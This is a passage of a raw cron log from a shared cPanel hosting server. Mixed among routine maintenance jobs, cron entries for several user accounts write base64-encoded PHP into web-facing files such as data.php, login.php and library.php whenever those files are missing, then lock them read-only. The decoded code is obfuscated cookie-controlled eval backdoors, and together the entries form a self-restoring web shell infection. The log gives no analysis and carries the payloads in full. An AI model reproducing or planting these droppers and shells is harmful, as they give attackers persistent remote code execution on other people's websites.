fi; chmod 444 "$fp")
Mar  2 10:23:02 medusa CROND[8712]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:23:02 medusa CROND[8713]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:23:02 medusa CROND[8716]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:23:02 medusa CROND[8724]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:23:02 medusa CROND[8701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:24:01 medusa CROND[24571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:24:01 medusa CROND[24827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:24:01 medusa CROND[24828]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:24:01 medusa CROND[24829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:24:01 medusa CROND[24831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:24:01 medusa CROND[24838]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:24:01 medusa CROND[24841]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:24:01 medusa CROND[24843]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:24:01 medusa CROND[24849]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:24:01 medusa CROND[24850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:24:01 medusa CROND[24853]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:24:01 medusa CROND[24860]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:24:01 medusa CROND[24861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:25:01 medusa CROND[10187]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:25:01 medusa CROND[10196]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:25:01 medusa CROND[10300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:25:01 medusa CROND[10356]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:25:01 medusa CROND[10448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:25:01 medusa CROND[10449]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:25:01 medusa CROND[10451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:25:01 medusa CROND[10452]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:25:01 medusa CROND[10453]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:25:01 medusa CROND[10456]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:25:01 medusa CROND[10459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:25:01 medusa CROND[10465]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:25:01 medusa CROND[10467]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:25:01 medusa CROND[10469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:25:01 medusa CROND[10474]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:25:01 medusa CROND[10476]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:25:01 medusa CROND[10479]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:25:01 medusa CROND[10480]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:25:01 medusa CROND[10473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:25:01 medusa CROND[10458]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
